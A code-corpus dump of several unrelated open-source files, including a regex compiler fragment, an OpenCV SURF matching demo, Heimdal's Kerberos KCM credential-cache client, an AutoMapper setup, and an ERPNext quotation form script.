register struct re_guts *g;
{
register sop *scan;
sop *start = NULL;
register sop *newstart = NULL;
register sopno newlen;
register sop s;
register char *cp;
register sopno i;
/* avoid making error situations worse */
if (p->error != 0)
return;
/* find the longest OCHAR sequence in strip */
newlen = 0;
scan = g->strip + 1;
do {
s = *scan++;
switch (OP(s)) {
case OCHAR: /* sequence member */
if (newlen == 0) /* new sequence */
newstart = scan - 1;
newlen++;
break;
case OPLUS_: /* things that don't break one */
case OLPAREN:
case ORPAREN:
break;
case OQUEST_: /* things that must be skipped */
case OCH_:
scan--;
do {
scan += OPND(s);
s = *scan;
/* assert() interferes w debug printouts */
if (OP(s) != O_QUEST && OP(s) != O_CH &&
OP(s) != OOR2) {
g->iflags |= BAD;
return;
}
} while (OP(s) != O_QUEST && OP(s) != O_CH);
/* fallthrough */
default: /* things that break a sequence */
if (newlen > g->mlen) { /* ends one */
start = newstart;
g->mlen = newlen;
}
newlen = 0;
break;
}
} while (OP(s) != OEND);
if (g->mlen == 0) /* there isn't one */
return;
/* turn it into a character string */
g->must = malloc((size_t)g->mlen + 1);
if (g->must == NULL) { /* argh; just forget it */
g->mlen = 0;
return;
}
cp = g->must;
scan = start;
for (i = g->mlen; i > 0; i--) {
while (OP(s = *scan++) != OCHAR)
continue;
assert(cp < g->must + g->mlen);
*cp++ = (char)OPND(s);
}
assert(cp == g->must + g->mlen);
*cp++ = '\0'; /* just on general principles */
}
/*
- pluscount - count + nesting
== static sopno pluscount(register struct parse *p, register struct re_guts *g);
*/
static sopno /* nesting depth */
pluscount(p, g)
struct parse *p;
register struct re_guts *g;
{
register sop *scan;
register sop s;
register sopno plusnest = 0;
register sopno maxnest = 0;
if (p->error != 0)
return(0); /* there may not be an OEND */
scan = g->strip + 1;
do {
s = *scan++;
switch (OP(s)) {
case OPLUS_:
plusnest++;
break;
case O_PLUS:
if (plusnest > maxnest)
maxnest = plusnest;
plusnest--;
break;
}
} while (OP(s) != OEND);
if (plusnest != 0)
g->iflags |= BAD;
return(maxnest);
}
|
GNOME/gimp-tiny-fu
|
re/regcomp.c
|
C
|
gpl-2.0
| 43,517 |
begin
ActiveRecord::Base.connection # if we have no database fall through to rescue
if AdminSetting.table_exists? && !AdminSetting.first
settings = AdminSetting.new(invite_from_queue_enabled: ArchiveConfig.INVITE_FROM_QUEUE_ENABLED,
invite_from_queue_number: ArchiveConfig.INVITE_FROM_QUEUE_NUMBER,
invite_from_queue_frequency: ArchiveConfig.INVITE_FROM_QUEUE_FREQUENCY,
account_creation_enabled: ArchiveConfig.ACCOUNT_CREATION_ENABLED,
days_to_purge_unactivated: ArchiveConfig.DAYS_TO_PURGE_UNACTIVATED)
settings.save(validate: false)
end
rescue ActiveRecord::ConnectionNotEstablished
end
|
tuff/otwarchive
|
config/initializers/archive_config/settings_for_admin.rb
|
Ruby
|
gpl-2.0
| 645 |
#include <stdio.h>
#include <iostream>
#include "opencv2/core/core.hpp"
#include "opencv2/features2d/features2d.hpp"
#include "opencv2/highgui/highgui.hpp"
#include "opencv2/calib3d/calib3d.hpp"
#include "opencv2/nonfree/nonfree.hpp"
using namespace cv;
void readme();
/** @function main */
int main( int argc, char** argv )
{
if( argc != 3 )
{ readme(); return -1; }
Mat img_object = imread( argv[1], CV_LOAD_IMAGE_GRAYSCALE );
Mat img_scene = imread( argv[2], CV_LOAD_IMAGE_GRAYSCALE );
if( !img_object.data || !img_scene.data )
{ std::cout<< " --(!) Error reading images " << std::endl; return -1; }
//-- Step 1: Detect the keypoints using SURF Detector
int minHessian = 400;
SurfFeatureDetector detector( minHessian );
std::vector<KeyPoint> keypoints_object, keypoints_scene;
detector.detect( img_object, keypoints_object );
detector.detect( img_scene, keypoints_scene );
//-- Step 2: Calculate descriptors (feature vectors)
SurfDescriptorExtractor extractor;
Mat descriptors_object, descriptors_scene;
extractor.compute( img_object, keypoints_object, descriptors_object );
extractor.compute( img_scene, keypoints_scene, descriptors_scene );
//-- Step 3: Matching descriptor vectors using FLANN matcher
FlannBasedMatcher matcher;
std::vector< DMatch > matches;
matcher.match( descriptors_object, descriptors_scene, matches );
double max_dist = 0; double min_dist = 100;
//-- Quick calculation of max and min distances between keypoints
for( int i = 0; i < descriptors_object.rows; i++ )
{ double dist = matches[i].distance;
if( dist < min_dist ) min_dist = dist;
if( dist > max_dist ) max_dist = dist;
}
printf("-- Max dist : %f \n", max_dist );
printf("-- Min dist : %f \n", min_dist );
//-- Draw only "good" matches (i.e. whose distance is less than 3*min_dist )
std::vector< DMatch > good_matches;
for( int i = 0; i < descriptors_object.rows; i++ )
{ if( matches[i].distance < 3*min_dist )
{ good_matches.push_back( matches[i]); }
}
Mat img_matches;
drawMatches( img_object, keypoints_object, img_scene, keypoints_scene,
good_matches, img_matches, Scalar::all(-1), Scalar::all(-1),
vector<char>(), DrawMatchesFlags::NOT_DRAW_SINGLE_POINTS );
//-- Localize the object
std::vector<Point2f> obj;
std::vector<Point2f> scene;
for( int i = 0; i < good_matches.size(); i++ )
{
//-- Get the keypoints from the good matches
obj.push_back( keypoints_object[ good_matches[i].queryIdx ].pt );
scene.push_back( keypoints_scene[ good_matches[i].trainIdx ].pt );
}
Mat H = findHomography( obj, scene, CV_RANSAC );
//-- Get the corners from the image_1 ( the object to be "detected" )
std::vector<Point2f> obj_corners(4);
obj_corners[0] = cvPoint(0,0); obj_corners[1] = cvPoint( img_object.cols, 0 );
obj_corners[2] = cvPoint( img_object.cols, img_object.rows ); obj_corners[3] = cvPoint( 0, img_object.rows );
std::vector<Point2f> scene_corners(4);
perspectiveTransform( obj_corners, scene_corners, H);
//-- Draw lines between the corners (the mapped object in the scene - image_2 )
line( img_matches, scene_corners[0] + Point2f( img_object.cols, 0), scene_corners[1] + Point2f( img_object.cols, 0), Scalar(0, 255, 0), 4 );
line( img_matches, scene_corners[1] + Point2f( img_object.cols, 0), scene_corners[2] + Point2f( img_object.cols, 0), Scalar( 0, 255, 0), 4 );
line( img_matches, scene_corners[2] + Point2f( img_object.cols, 0), scene_corners[3] + Point2f( img_object.cols, 0), Scalar( 0, 255, 0), 4 );
line( img_matches, scene_corners[3] + Point2f( img_object.cols, 0), scene_corners[0] + Point2f( img_object.cols, 0), Scalar( 0, 255, 0), 4 );
//-- Show detected matches
imshow( "Good Matches & Object detection", img_matches );
waitKey(0);
return 0;
}
/** @function readme */
void readme()
{ std::cout << " Usage: ./SURF_descriptor <img1> <img2>" << std::endl; }
|
ufieeehw/IEEE2015
|
ros/ieee2015_vision/src/test_cpp.cpp
|
C++
|
gpl-2.0
| 3,967 |
/*
* Copyright (c) 2005, PADL Software Pty Ltd.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* 3. Neither the name of PADL Software nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY PADL SOFTWARE AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL PADL SOFTWARE OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
#include "krb5_locl.h"
#ifdef HAVE_KCM
/*
* Client library for Kerberos Credentials Manager (KCM) daemon
*/
#ifdef HAVE_SYS_UN_H
#include <sys/un.h>
#endif
#include "kcm.h"
RCSID("$Id: kcm.c,v 1.9 2006/05/05 09:28:48 lha Exp $");
typedef struct krb5_kcmcache {
char *name;
struct sockaddr_un path;
char *door_path;
} krb5_kcmcache;
#define KCMCACHE(X) ((krb5_kcmcache *)(X)->data.data)
#define CACHENAME(X) (KCMCACHE(X)->name)
#define KCMCURSOR(C) (*(uint32_t *)(C))
static krb5_error_code
try_door(krb5_context context, const krb5_kcmcache *k,
krb5_data *request_data,
krb5_data *response_data)
{
#ifdef HAVE_DOOR_CREATE
door_arg_t arg;
int fd;
int ret;
memset(&arg, 0, sizeof(arg));
fd = open(k->door_path, O_RDWR);
if (fd < 0)
return KRB5_CC_IO;
arg.data_ptr = request_data->data;
arg.data_size = request_data->length;
arg.desc_ptr = NULL;
arg.desc_num = 0;
arg.rbuf = NULL;
arg.rsize = 0;
ret = door_call(fd, &arg);
close(fd);
if (ret != 0)
return KRB5_CC_IO;
ret = krb5_data_copy(response_data, arg.rbuf, arg.rsize);
munmap(arg.rbuf, arg.rsize);
if (ret)
return ret;
return 0;
#else
return KRB5_CC_IO;
#endif
}
static krb5_error_code
try_unix_socket(krb5_context context, const krb5_kcmcache *k,
krb5_data *request_data,
krb5_data *response_data)
{
krb5_error_code ret;
int fd;
fd = socket(AF_UNIX, SOCK_STREAM, 0);
if (fd < 0)
return KRB5_CC_IO;
if (connect(fd, rk_UNCONST(&k->path), sizeof(k->path)) != 0) {
close(fd);
return KRB5_CC_IO;
}
ret = _krb5_send_and_recv_tcp(fd, context->kdc_timeout,
request_data, response_data);
close(fd);
return ret;
}
static krb5_error_code
kcm_send_request(krb5_context context,
krb5_kcmcache *k,
krb5_storage *request,
krb5_data *response_data)
{
krb5_error_code ret;
krb5_data request_data;
int i;
response_data->data = NULL;
response_data->length = 0;
ret = krb5_storage_to_data(request, &request_data);
if (ret) {
krb5_clear_error_string(context);
return KRB5_CC_NOMEM;
}
ret = KRB5_CC_IO;
for (i = 0; i < context->max_retries; i++) {
ret = try_door(context, k, &request_data, response_data);
if (ret == 0 && response_data->length != 0)
break;
ret = try_unix_socket(context, k, &request_data, response_data);
if (ret == 0 && response_data->length != 0)
break;
}
krb5_data_free(&request_data);
if (ret) {
krb5_clear_error_string(context);
ret = KRB5_CC_IO;
}
return ret;
}
static krb5_error_code
kcm_storage_request(krb5_context context,
kcm_operation opcode,
krb5_storage **storage_p)
{
krb5_storage *sp;
krb5_error_code ret;
*storage_p = NULL;
sp = krb5_storage_emem();
if (sp == NULL) {
krb5_set_error_string(context, "malloc: out of memory");
return KRB5_CC_NOMEM;
}
/* Send MAJOR | VERSION | OPCODE */
ret = krb5_store_int8(sp, KCM_PROTOCOL_VERSION_MAJOR);
if (ret)
goto fail;
ret = krb5_store_int8(sp, KCM_PROTOCOL_VERSION_MINOR);
if (ret)
goto fail;
ret = krb5_store_int16(sp, opcode);
if (ret)
goto fail;
*storage_p = sp;
fail:
if (ret) {
krb5_set_error_string(context, "Failed to encode request");
krb5_storage_free(sp);
}
return ret;
}
static krb5_error_code
kcm_alloc(krb5_context context, const char *name, krb5_ccache *id)
{
krb5_kcmcache *k;
const char *path;
k = malloc(sizeof(*k));
if (k == NULL) {
krb5_set_error_string(context, "malloc: out of memory");
return KRB5_CC_NOMEM;
}
if (name != NULL) {
k->name = strdup(name);
if (k->name == NULL) {
free(k);
krb5_set_error_string(context, "malloc: out of memory");
return KRB5_CC_NOMEM;
}
} else
k->name = NULL;
path = krb5_config_get_string_default(context, NULL,
_PATH_KCM_SOCKET,
"libdefaults",
"kcm_socket",
NULL);
k->path.sun_family = AF_UNIX;
strlcpy(k->path.sun_path, path, sizeof(k->path.sun_path));
path = krb5_config_get_string_default(context, NULL,
_PATH_KCM_DOOR,
"libdefaults",
"kcm_door",
NULL);
k->door_path = strdup(path);
(*id)->data.data = k;
(*id)->data.length = sizeof(*k);
return 0;
}
static krb5_error_code
kcm_call(krb5_context context,
krb5_kcmcache *k,
krb5_storage *request,
krb5_storage **response_p,
krb5_data *response_data_p)
{
krb5_data response_data;
krb5_error_code ret;
int32_t status;
krb5_storage *response;
if (response_p != NULL)
*response_p = NULL;
ret = kcm_send_request(context, k, request, &response_data);
if (ret) {
return ret;
}
response = krb5_storage_from_data(&response_data);
if (response == NULL) {
krb5_data_free(&response_data);
return KRB5_CC_IO;
}
ret = krb5_ret_int32(response, &status);
if (ret) {
krb5_storage_free(response);
krb5_data_free(&response_data);
return KRB5_CC_FORMAT;
}
if (status) {
krb5_storage_free(response);
krb5_data_free(&response_data);
return status;
}
if (response_p != NULL) {
*response_data_p = response_data;
*response_p = response;
return 0;
}
krb5_storage_free(response);
krb5_data_free(&response_data);
return 0;
}
static void
kcm_free(krb5_context context, krb5_ccache *id)
{
krb5_kcmcache *k = KCMCACHE(*id);
if (k != NULL) {
if (k->name != NULL)
free(k->name);
if (k->door_path)
free(k->door_path);
memset(k, 0, sizeof(*k));
krb5_data_free(&(*id)->data);
}
*id = NULL;
}
static const char *
kcm_get_name(krb5_context context,
krb5_ccache id)
{
return CACHENAME(id);
}
static krb5_error_code
kcm_resolve(krb5_context context, krb5_ccache *id, const char *res)
{
return kcm_alloc(context, res, id);
}
/*
* Request:
*
* Response:
* NameZ
*/
static krb5_error_code
kcm_gen_new(krb5_context context, krb5_ccache *id)
{
krb5_kcmcache *k;
krb5_error_code ret;
krb5_storage *request, *response;
krb5_data response_data;
ret = kcm_alloc(context, NULL, id);
if (ret)
return ret;
k = KCMCACHE(*id);
ret = kcm_storage_request(context, KCM_OP_GEN_NEW, &request);
if (ret) {
kcm_free(context, id);
return ret;
}
ret = kcm_call(context, k, request, &response, &response_data);
if (ret) {
krb5_storage_free(request);
kcm_free(context, id);
return ret;
}
ret = krb5_ret_stringz(response, &k->name);
if (ret)
ret = KRB5_CC_IO;
krb5_storage_free(request);
krb5_storage_free(response);
krb5_data_free(&response_data);
if (ret)
kcm_free(context, id);
return ret;
}
/*
* Request:
* NameZ
* Principal
*
* Response:
*
*/
static krb5_error_code
kcm_initialize(krb5_context context,
krb5_ccache id,
krb5_principal primary_principal)
{
krb5_error_code ret;
krb5_kcmcache *k = KCMCACHE(id);
krb5_storage *request;
ret = kcm_storage_request(context, KCM_OP_INITIALIZE, &request);
if (ret)
return ret;
ret = krb5_store_stringz(request, k->name);
if (ret) {
krb5_storage_free(request);
return ret;
}
ret = krb5_store_principal(request, primary_principal);
if (ret) {
krb5_storage_free(request);
return ret;
}
ret = kcm_call(context, k, request, NULL, NULL);
krb5_storage_free(request);
return ret;
}
static krb5_error_code
kcm_close(krb5_context context,
krb5_ccache id)
{
kcm_free(context, &id);
return 0;
}
/*
* Request:
* NameZ
*
* Response:
*
*/
static krb5_error_code
kcm_destroy(krb5_context context,
krb5_ccache id)
{
krb5_error_code ret;
krb5_kcmcache *k = KCMCACHE(id);
krb5_storage *request;
ret = kcm_storage_request(context, KCM_OP_DESTROY, &request);
if (ret)
return ret;
ret = krb5_store_stringz(request, k->name);
if (ret) {
krb5_storage_free(request);
return ret;
}
ret = kcm_call(context, k, request, NULL, NULL);
krb5_storage_free(request);
return ret;
}
/*
* Request:
* NameZ
* Creds
*
* Response:
*
*/
static krb5_error_code
kcm_store_cred(krb5_context context,
krb5_ccache id,
krb5_creds *creds)
{
krb5_error_code ret;
krb5_kcmcache *k = KCMCACHE(id);
krb5_storage *request;
ret = kcm_storage_request(context, KCM_OP_STORE, &request);
if (ret)
return ret;
ret = krb5_store_stringz(request, k->name);
if (ret) {
krb5_storage_free(request);
return ret;
}
ret = krb5_store_creds(request, creds);
if (ret) {
krb5_storage_free(request);
return ret;
}
ret = kcm_call(context, k, request, NULL, NULL);
krb5_storage_free(request);
return ret;
}
/*
* Request:
* NameZ
* WhichFields
* MatchCreds
*
* Response:
* Creds
*
*/
static krb5_error_code
kcm_retrieve(krb5_context context,
krb5_ccache id,
krb5_flags which,
const krb5_creds *mcred,
krb5_creds *creds)
{
krb5_error_code ret;
krb5_kcmcache *k = KCMCACHE(id);
krb5_storage *request, *response;
krb5_data response_data;
ret = kcm_storage_request(context, KCM_OP_RETRIEVE, &request);
if (ret)
return ret;
ret = krb5_store_stringz(request, k->name);
if (ret) {
krb5_storage_free(request);
return ret;
}
ret = krb5_store_int32(request, which);
if (ret) {
krb5_storage_free(request);
return ret;
}
ret = krb5_store_creds_tag(request, rk_UNCONST(mcred));
if (ret) {
krb5_storage_free(request);
return ret;
}
ret = kcm_call(context, k, request, &response, &response_data);
if (ret) {
krb5_storage_free(request);
return ret;
}
ret = krb5_ret_creds(response, creds);
if (ret)
ret = KRB5_CC_IO;
krb5_storage_free(request);
krb5_storage_free(response);
krb5_data_free(&response_data);
return ret;
}
/*
* Request:
* NameZ
*
* Response:
* Principal
*/
static krb5_error_code
kcm_get_principal(krb5_context context,
krb5_ccache id,
krb5_principal *principal)
{
krb5_error_code ret;
krb5_kcmcache *k = KCMCACHE(id);
krb5_storage *request, *response;
krb5_data response_data;
ret = kcm_storage_request(context, KCM_OP_GET_PRINCIPAL, &request);
if (ret)
return ret;
ret = krb5_store_stringz(request, k->name);
if (ret) {
krb5_storage_free(request);
return ret;
}
ret = kcm_call(context, k, request, &response, &response_data);
if (ret) {
krb5_storage_free(request);
return ret;
}
ret = krb5_ret_principal(response, principal);
if (ret)
ret = KRB5_CC_IO;
krb5_storage_free(request);
krb5_storage_free(response);
krb5_data_free(&response_data);
return ret;
}
/*
* Request:
* NameZ
*
* Response:
* Cursor
*
*/
static krb5_error_code
kcm_get_first (krb5_context context,
krb5_ccache id,
krb5_cc_cursor *cursor)
{
krb5_error_code ret;
krb5_kcmcache *k = KCMCACHE(id);
krb5_storage *request, *response;
krb5_data response_data;
int32_t tmp;
ret = kcm_storage_request(context, KCM_OP_GET_FIRST, &request);
if (ret)
return ret;
ret = krb5_store_stringz(request, k->name);
if (ret) {
krb5_storage_free(request);
return ret;
}
ret = kcm_call(context, k, request, &response, &response_data);
if (ret) {
krb5_storage_free(request);
return ret;
}
ret = krb5_ret_int32(response, &tmp);
if (ret || tmp < 0)
ret = KRB5_CC_IO;
krb5_storage_free(request);
krb5_storage_free(response);
krb5_data_free(&response_data);
if (ret)
return ret;
*cursor = malloc(sizeof(tmp));
if (*cursor == NULL)
return KRB5_CC_NOMEM;
KCMCURSOR(*cursor) = tmp;
return 0;
}
/*
* Request:
* NameZ
* Cursor
*
* Response:
* Creds
*/
static krb5_error_code
kcm_get_next (krb5_context context,
krb5_ccache id,
krb5_cc_cursor *cursor,
krb5_creds *creds)
{
krb5_error_code ret;
krb5_kcmcache *k = KCMCACHE(id);
krb5_storage *request, *response;
krb5_data response_data;
ret = kcm_storage_request(context, KCM_OP_GET_NEXT, &request);
if (ret)
return ret;
ret = krb5_store_stringz(request, k->name);
if (ret) {
krb5_storage_free(request);
return ret;
}
ret = krb5_store_int32(request, KCMCURSOR(*cursor));
if (ret) {
krb5_storage_free(request);
return ret;
}
ret = kcm_call(context, k, request, &response, &response_data);
if (ret) {
krb5_storage_free(request);
return ret;
}
ret = krb5_ret_creds(response, creds);
if (ret)
ret = KRB5_CC_IO;
krb5_storage_free(request);
krb5_storage_free(response);
krb5_data_free(&response_data);
return ret;
}
/*
* Request:
* NameZ
* Cursor
*
* Response:
*
*/
static krb5_error_code
kcm_end_get (krb5_context context,
krb5_ccache id,
krb5_cc_cursor *cursor)
{
krb5_error_code ret;
krb5_kcmcache *k = KCMCACHE(id);
krb5_storage *request;
ret = kcm_storage_request(context, KCM_OP_END_GET, &request);
if (ret)
return ret;
ret = krb5_store_stringz(request, k->name);
if (ret) {
krb5_storage_free(request);
return ret;
}
ret = krb5_store_int32(request, KCMCURSOR(*cursor));
if (ret) {
krb5_storage_free(request);
return ret;
}
ret = kcm_call(context, k, request, NULL, NULL);
if (ret) {
krb5_storage_free(request);
return ret;
}
krb5_storage_free(request);
KCMCURSOR(*cursor) = 0;
free(*cursor);
*cursor = NULL;
return ret;
}
/*
* Request:
* NameZ
* WhichFields
* MatchCreds
*
* Response:
*
*/
static krb5_error_code
kcm_remove_cred(krb5_context context,
krb5_ccache id,
krb5_flags which,
krb5_creds *cred)
{
krb5_error_code ret;
krb5_kcmcache *k = KCMCACHE(id);
krb5_storage *request;
ret = kcm_storage_request(context, KCM_OP_REMOVE_CRED, &request);
if (ret)
return ret;
ret = krb5_store_stringz(request, k->name);
if (ret) {
krb5_storage_free(request);
return ret;
}
ret = krb5_store_int32(request, which);
if (ret) {
krb5_storage_free(request);
return ret;
}
ret = krb5_store_creds_tag(request, cred);
if (ret) {
krb5_storage_free(request);
return ret;
}
ret = kcm_call(context, k, request, NULL, NULL);
krb5_storage_free(request);
return ret;
}
static krb5_error_code
kcm_set_flags(krb5_context context,
krb5_ccache id,
krb5_flags flags)
{
krb5_error_code ret;
krb5_kcmcache *k = KCMCACHE(id);
krb5_storage *request;
ret = kcm_storage_request(context, KCM_OP_SET_FLAGS, &request);
if (ret)
return ret;
ret = krb5_store_stringz(request, k->name);
if (ret) {
krb5_storage_free(request);
return ret;
}
ret = krb5_store_int32(request, flags);
if (ret) {
krb5_storage_free(request);
return ret;
}
ret = kcm_call(context, k, request, NULL, NULL);
krb5_storage_free(request);
return ret;
}
static krb5_error_code
kcm_get_version(krb5_context context,
krb5_ccache id)
{
return 0;
}
const krb5_cc_ops krb5_kcm_ops = {
"KCM",
kcm_get_name,
kcm_resolve,
kcm_gen_new,
kcm_initialize,
kcm_destroy,
kcm_close,
kcm_store_cred,
kcm_retrieve,
kcm_get_principal,
kcm_get_first,
kcm_get_next,
kcm_end_get,
kcm_remove_cred,
kcm_set_flags,
kcm_get_version
};
krb5_boolean
_krb5_kcm_is_running(krb5_context context)
{
krb5_error_code ret;
krb5_ccache_data ccdata;
krb5_ccache id = &ccdata;
krb5_boolean running;
ret = kcm_alloc(context, NULL, &id);
if (ret)
return 0;
running = (_krb5_kcm_noop(context, id) == 0);
kcm_free(context, &id);
return running;
}
/*
* Request:
*
* Response:
*
*/
krb5_error_code
_krb5_kcm_noop(krb5_context context,
krb5_ccache id)
{
krb5_error_code ret;
krb5_kcmcache *k = KCMCACHE(id);
krb5_storage *request;
ret = kcm_storage_request(context, KCM_OP_NOOP, &request);
if (ret)
return ret;
ret = kcm_call(context, k, request, NULL, NULL);
krb5_storage_free(request);
return ret;
}
/*
* Request:
* NameZ
* Mode
*
* Response:
*
*/
krb5_error_code
_krb5_kcm_chmod(krb5_context context,
krb5_ccache id,
uint16_t mode)
{
krb5_error_code ret;
krb5_kcmcache *k = KCMCACHE(id);
krb5_storage *request;
ret = kcm_storage_request(context, KCM_OP_CHMOD, &request);
if (ret)
return ret;
ret = krb5_store_stringz(request, k->name);
if (ret) {
krb5_storage_free(request);
return ret;
}
ret = krb5_store_int16(request, mode);
if (ret) {
krb5_storage_free(request);
return ret;
}
ret = kcm_call(context, k, request, NULL, NULL);
krb5_storage_free(request);
return ret;
}
/*
* Request:
* NameZ
* UID
* GID
*
* Response:
*
*/
krb5_error_code
_krb5_kcm_chown(krb5_context context,
krb5_ccache id,
uint32_t uid,
uint32_t gid)
{
krb5_error_code ret;
krb5_kcmcache *k = KCMCACHE(id);
krb5_storage *request;
ret = kcm_storage_request(context, KCM_OP_CHOWN, &request);
if (ret)
return ret;
ret = krb5_store_stringz(request, k->name);
if (ret) {
krb5_storage_free(request);
return ret;
}
ret = krb5_store_int32(request, uid);
if (ret) {
krb5_storage_free(request);
return ret;
}
ret = krb5_store_int32(request, gid);
if (ret) {
krb5_storage_free(request);
return ret;
}
ret = kcm_call(context, k, request, NULL, NULL);
krb5_storage_free(request);
return ret;
}
/*
* Request:
* NameZ
* ServerPrincipalPresent
* ServerPrincipal OPTIONAL
* Key
*
* Repsonse:
*
*/
krb5_error_code
_krb5_kcm_get_initial_ticket(krb5_context context,
krb5_ccache id,
krb5_principal server,
krb5_keyblock *key)
{
krb5_error_code ret;
krb5_kcmcache *k = KCMCACHE(id);
krb5_storage *request;
ret = kcm_storage_request(context, KCM_OP_GET_INITIAL_TICKET, &request);
if (ret)
return ret;
ret = krb5_store_stringz(request, k->name);
if (ret) {
krb5_storage_free(request);
return ret;
}
ret = krb5_store_int8(request, (server == NULL) ? 0 : 1);
if (ret) {
krb5_storage_free(request);
return ret;
}
if (server != NULL) {
ret = krb5_store_principal(request, server);
if (ret) {
krb5_storage_free(request);
return ret;
}
}
ret = krb5_store_keyblock(request, *key);
if (ret) {
krb5_storage_free(request);
return ret;
}
ret = kcm_call(context, k, request, NULL, NULL);
krb5_storage_free(request);
return ret;
}
/*
* Request:
* NameZ
* KDCFlags
* EncryptionType
* ServerPrincipal
*
* Repsonse:
*
*/
krb5_error_code
_krb5_kcm_get_ticket(krb5_context context,
krb5_ccache id,
krb5_kdc_flags flags,
krb5_enctype enctype,
krb5_principal server)
{
krb5_error_code ret;
krb5_kcmcache *k = KCMCACHE(id);
krb5_storage *request;
ret = kcm_storage_request(context, KCM_OP_GET_TICKET, &request);
if (ret)
return ret;
ret = krb5_store_stringz(request, k->name);
if (ret) {
krb5_storage_free(request);
return ret;
}
ret = krb5_store_int32(request, flags.i);
if (ret) {
krb5_storage_free(request);
return ret;
}
ret = krb5_store_int32(request, enctype);
if (ret) {
krb5_storage_free(request);
return ret;
}
ret = krb5_store_principal(request, server);
if (ret) {
krb5_storage_free(request);
return ret;
}
ret = kcm_call(context, k, request, NULL, NULL);
krb5_storage_free(request);
return ret;
}
#endif /* HAVE_KCM */
|
NetNow/wmi-samba
|
Samba/source/heimdal/lib/krb5/kcm.c
|
C
|
gpl-2.0
| 21,447 |
namespace CompanySystem.Server.API.App_Start
{
using System;
using System.Collections.Generic;
using System.Linq;
using System.Reflection;
using System.Web.Mvc;
using AutoMapper;
using Common.Mappings.Contracts;
public class AutoMapperConfig
{
public static void RegisterMappings(params Assembly[] assemblies)
{
Mapper.Configuration.ConstructServicesUsing(t => DependencyResolver.Current.GetService(t));
var types = new List<Type>();
foreach (var assembly in assemblies)
{
types.AddRange(assembly.GetExportedTypes());
}
LoadStandardMappings(types);
LoadCustomMappings(types);
}
private static void LoadStandardMappings(IEnumerable<Type> types)
{
var maps =
types.SelectMany(type => type.GetInterfaces(), (t, i) => new { t, i })
.Where(
type =>
type.i.IsGenericType &&
type.i.GetGenericTypeDefinition() == typeof(IMapFrom<>) &&
!type.t.IsAbstract &&
!type.t.IsInterface)
.Select(type => new { Source = type.i.GetGenericArguments()[0], Destination = type.t });
foreach (var map in maps)
{
Mapper.CreateMap(map.Source, map.Destination);
Mapper.CreateMap(map.Destination, map.Source);
}
}
private static void LoadCustomMappings(IEnumerable<Type> types)
{
var maps =
types.SelectMany(t => t.GetInterfaces(), (t, i) => new { t, i })
.Where(
type =>
typeof(IHaveCustomMappings).IsAssignableFrom(type.t) &&
!type.t.IsAbstract &&
!type.t.IsInterface)
.Select(type => (IHaveCustomMappings)Activator.CreateInstance(type.t));
foreach (var map in maps)
{
map.CreateMappings(Mapper.Configuration);
}
}
}
}
|
WebApi-2-AngularJS-Architecture/Server
|
Source/Server/CompanySystem.Server.API/App_Start/AutoMapperConfig.cs
|
C#
|
gpl-2.0
| 2,218 |
// Copyright (c) 2015, Frappe Technologies Pvt. Ltd. and Contributors
// License: GNU General Public License v3. See license.txt
{% include 'erpnext/selling/sales_common.js' %}
frappe.ui.form.on('Quotation', {
setup: function(frm) {
frm.custom_make_buttons = {
'Sales Order': 'Make Sales Order'
},
frm.set_query("quotation_to", function() {
return{
"filters": {
"name": ["in", ["Customer", "Lead"]],
}
}
});
},
refresh: function(frm) {
frm.trigger("set_label");
frm.trigger("set_dynamic_field_label");
},
quotation_to: function(frm) {
frm.trigger("set_label");
frm.trigger("toggle_reqd_lead_customer");
frm.trigger("set_dynamic_field_label");
},
set_label: function(frm) {
frm.fields_dict.customer_address.set_label(__(frm.doc.quotation_to + " Address"));
}
});
erpnext.selling.QuotationController = erpnext.selling.SellingController.extend({
onload: function(doc, dt, dn) {
var me = this;
this._super(doc, dt, dn);
},
party_name: function() {
var me = this;
erpnext.utils.get_party_details(this.frm, null, null, function() {
me.apply_price_list();
});
if(me.frm.doc.quotation_to=="Lead" && me.frm.doc.party_name) {
me.frm.trigger("get_lead_details");
}
},
refresh: function(doc, dt, dn) {
this._super(doc, dt, dn);
doctype = doc.quotation_to == 'Customer' ? 'Customer':'Lead';
frappe.dynamic_link = {doc: this.frm.doc, fieldname: 'party_name', doctype: doctype}
var me = this;
if (doc.__islocal && !doc.valid_till) {
if(frappe.boot.sysdefaults.quotation_valid_till){
this.frm.set_value('valid_till', frappe.datetime.add_days(doc.transaction_date, frappe.boot.sysdefaults.quotation_valid_till));
} else {
this.frm.set_value('valid_till', frappe.datetime.add_months(doc.transaction_date, 1));
}
}
if(doc.docstatus == 1 && doc.status!=='Lost') {
if(!doc.valid_till || frappe.datetime.get_diff(doc.valid_till, frappe.datetime.get_today()) > 0) {
cur_frm.add_custom_button(__('Sales Order'),
cur_frm.cscript['Make Sales Order'], __("Make"));
}
if(doc.status!=="Ordered") {
cur_frm.add_custom_button(__('Set as Lost'),
cur_frm.cscript['Declare Order Lost']);
}
if(!doc.auto_repeat) {
cur_frm.add_custom_button(__('Subscription'), function() {
erpnext.utils.make_subscription(doc.doctype, doc.name)
}, __("Make"))
}
cur_frm.page.set_inner_btn_group_as_primary(__("Make"));
}
if (this.frm.doc.docstatus===0) {
